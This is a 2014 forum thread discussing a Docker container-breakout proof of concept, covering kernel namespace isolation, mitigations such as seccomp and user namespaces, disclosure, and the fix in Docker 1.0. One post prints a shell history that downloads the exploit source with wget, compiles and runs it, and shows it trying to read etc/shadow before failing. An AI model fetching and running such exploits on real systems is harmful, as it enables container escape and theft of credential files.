Docker container breakout?

#1

Post by eugeneionesco » Wed, Jun 18, 2014, 12:13 PM UTC

Docker container breakout?
stealth.openwall.net

Re: Docker container breakout?

#2

Post by notacoward » Wed, Jun 18, 2014, 1:13 PM UTC

Just to be clear, this doesn't really seem like a problem with Docker specifically. It looks like a problem with the kernel's namespace isolation, affecting any container-based solution. Yes, that's in the PPS, but probably should be in the title.

Re: Docker container breakout?

#3

Post by xeroxmalf » Wed, Jun 18, 2014, 1:18 PM UTC

"tested with docker 0.11"

Looks to be a few releases out past 0.11, notably 0.11.1, 0.12, and now 1.0. Can anyone confirm this works on the later versions of docker?

Re: Docker container breakout?

#4

Post by kapilvt » Wed, Jun 18, 2014, 1:20 PM UTC

notacoward wrote: post #2

Just to be clear, this doesn't really seem like a problem with Docker specifically. It looks like a problem with the kernel's namespace isolation, affecting any container-based solution. Yes, that's in the PPS, but probably should be in the title.

that's true to some extent, but it also has to do with which namespaces and isolation features a given container solution supports, for example lxc has seccomp syscall filtering support and user namespace support ootb which would have mitigated this attack surface to those of the unprivileged user running the container (and covering the ps on kexec). in addition lsm usage (selinux, apparmor) can also limit the attack surface area.

Re: Docker container breakout?

#5

Post by jhardcastle » Wed, Jun 18, 2014, 1:28 PM UTC

With a technology used in production in a lot of places, does responsible disclosure apply here? Did the author (OP?) notify Docker and/or the Linux kernel team before distributing this for public consumption?

Re: Docker container breakout?

#6

Post by bastichelaar » Wed, Jun 18, 2014, 1:33 PM UTC

Apparently this is already fixed in Docker 1.0:

  Its fixed in docker 1.0 since CAP_DAC_READ_SEARCH is no longer available.

  Other FS-related threats to container based VMM's that have been discussed:

  - subvolume related FS operations (snapshots etc)
  - FS ioctl's that accept FS-handles as well (XFS)
  - CAP_DAC_READ_SEARCH also defeats chroot and other
    bind-mount containers (privileged LXC)
  - CAP_MKNOD might be a problem too (still available in docker 1.0) depending on the drivers available in the kernel

Source: http://seclists.org/oss-sec/2014/q2/565

Re: Docker container breakout?

#7

Post by ewindisch » Wed, Jun 18, 2014, 1:51 PM UTC

xeroxmalf wrote: post #3

"tested with docker 0.11" Looks to be a few releases out past 0.11, notably 0.11.1, 0.12, and now 1.0. Can anyone confirm this works on the later versions of docker?

The kernel version is just as important, if not more important. I've performed tests that have given me non-specific breakout capabilities on certain combinations of Linux and Docker. I haven't however, as is done here, reproduced and written an exploit.

As an employee of Docker, I feel it is more important to me to know if we can breakout and patch those issues than to write viable exploits for them.

I have noticed that newer kernels and Docker versions (such as 1.0) are currently more difficult to break out of than they were in earlier versions. Again, however, it's highly dependent on the pairing.

What's important to recognize here is that even with breakout potential, containers should add a useful layer of security to break out of that wouldn't otherwise exist. Containers should never remove security from your system, they should only add to it. However, although deployers may find the removal of virtual machines to weaken their security story. The "secure all the things" story would be to put Qemu in a container, then run containers inside the VM.

Otherwise, security practices are as they always have been: Don't leave setuid binaries floating around, etc.

Re: Docker container breakout?

#8

Post by valarauca1 » Wed, Jun 18, 2014, 1:52 PM UTC

I believe it was Theo de Raadt who once said, "Why does everything think that when it comes to writing VM/container software suddenly people gain super human programming powers and no longer make the same mistakes they make writing operating systems?" (Slightly paraphrasing).

While the issue is currently fixed in the .12 and 1.0 versions. I doubt Docker is still completely bullet proof.

Re: Docker container breakout?

#9

Post by kvmosx » Wed, Jun 18, 2014, 1:52 PM UTC

bastichelaar wrote: post #6

Apparently this is already fixed in Docker 1.0: Its fixed in docker 1.0 since CAP_DAC_READ_SEARCH is no longer available. Other FS-related threats to container based VMM's that have been discussed: - subvolume related FS operations (snapshots etc) - FS ioctl's that accept FS-handles as well (XFS) - CAP_DAC_READ_SEARCH also defeats chroot and other bind-mount containers (privileged LXC) - CAP_MKNOD might be a problem…

Confirmed not working in Docker 1.0:

  root@377a6f4ab0a4:/# history
  10  wget http://stealth.openwall.net/xSports/shocker.c  
  11  cc -Wall -std=c99 -O2 shocker.c -static
  12  apt-get install build-essential
  13  cc -Wall -std=c99 -O2 shocker.c -static
  14  cc -Wall -std=c99 -O2 shocker.c -static -Wno-unused-result
  15  ls
  16  ./shocker
  17  shocker
  18  nano a.out
  19  cat a.out
  20  ./a.out
  21  history
  root@377a6f4ab0a4:/# ./a.out
  [***] docker VMM-container breakout Po(C) 2014           
  [***]
  [***] The tea from the 90's kicks your sekurity again.     [***]
  [***] If you have pending sec consulting, I'll happily     [***]
  [***] forward to my friends who drink secury-tea too!      [***]
  
  [*] Resolving 'etc/shadow'
  [-] open_by_handle_at: Operation not permitted
  root@377a6f4ab0a4:/# uname -r
  3.14.1-tinycore64

Re: Docker container breakout?

#10

Post by BillinghamJ » Wed, Jun 18, 2014, 1:53 PM UTC

jhardcastle wrote: post #5

With a technology used in production in a lot of places, does responsible disclosure apply here? Did the author (OP?) notify Docker and/or the Linux kernel team before distributing this for public consumption?

A fix has been released already - Docker 1.0. Thus, it shouldn't really be an issue.